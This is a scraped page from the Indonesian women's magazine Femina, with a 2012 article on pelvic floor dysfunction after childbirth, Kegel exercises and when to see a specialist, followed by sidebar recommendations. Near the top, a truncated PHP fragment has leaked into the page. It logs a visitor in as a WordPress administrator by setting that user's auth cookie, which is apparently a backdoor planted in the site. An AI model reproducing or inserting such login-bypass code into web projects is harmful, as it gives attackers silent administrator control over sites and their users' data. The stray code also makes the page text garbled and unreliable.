Disfungsi Otot Panggul

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Sex & Relationship

13 Jan 2012

Setelah melahirkan rasanya tidak ‘sekencang’ dulu? Atau jadi sering hampir mengompol ketika sedang bermesraan karena sulit menahan buang air kecil? Mungkin saja Anda mengalami disfungsi otot panggul.

Disfungsi otot dasar panggul sering terjadi pada wanita yang habis melahirkan. Cara yang paling sederhana untuk memperbaikinya adalah dengan melakukan senam kegel --yang dapat memperkuat otot dasar panggul-- secara rutin (10 x 10 set, selama 5-6 bulan).

Caranya, cobalah mengerutkan otot dasar panggul (gerakannya seperti menahan buang air kecil dan buang air besar), tahan beberapa hitungan, lalu dilepaskan lagi. Harapannya, dengan menguatnya otot dasar panggul, maka kunci dari uretra (saluran kemih) bisa menguat lagi.

Jika dalam 5-6 bulan tidak ada perbaikan, Anda harus memeriksakan diri ke dokter spesialis obgin konsultan urologi yang sudah mendapat pelatihan khusus mengenai permasalahan ini. Dokter akan menggunakan sebuah alat untuk mengukur bagian mana yang mengalami disfungsi. Untuk memperbaikinya, dokter akan memberikan obat atau perangsangan otot dasar panggul. Jika dibutuhkan, bisa dilakukan operasi. (f)

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id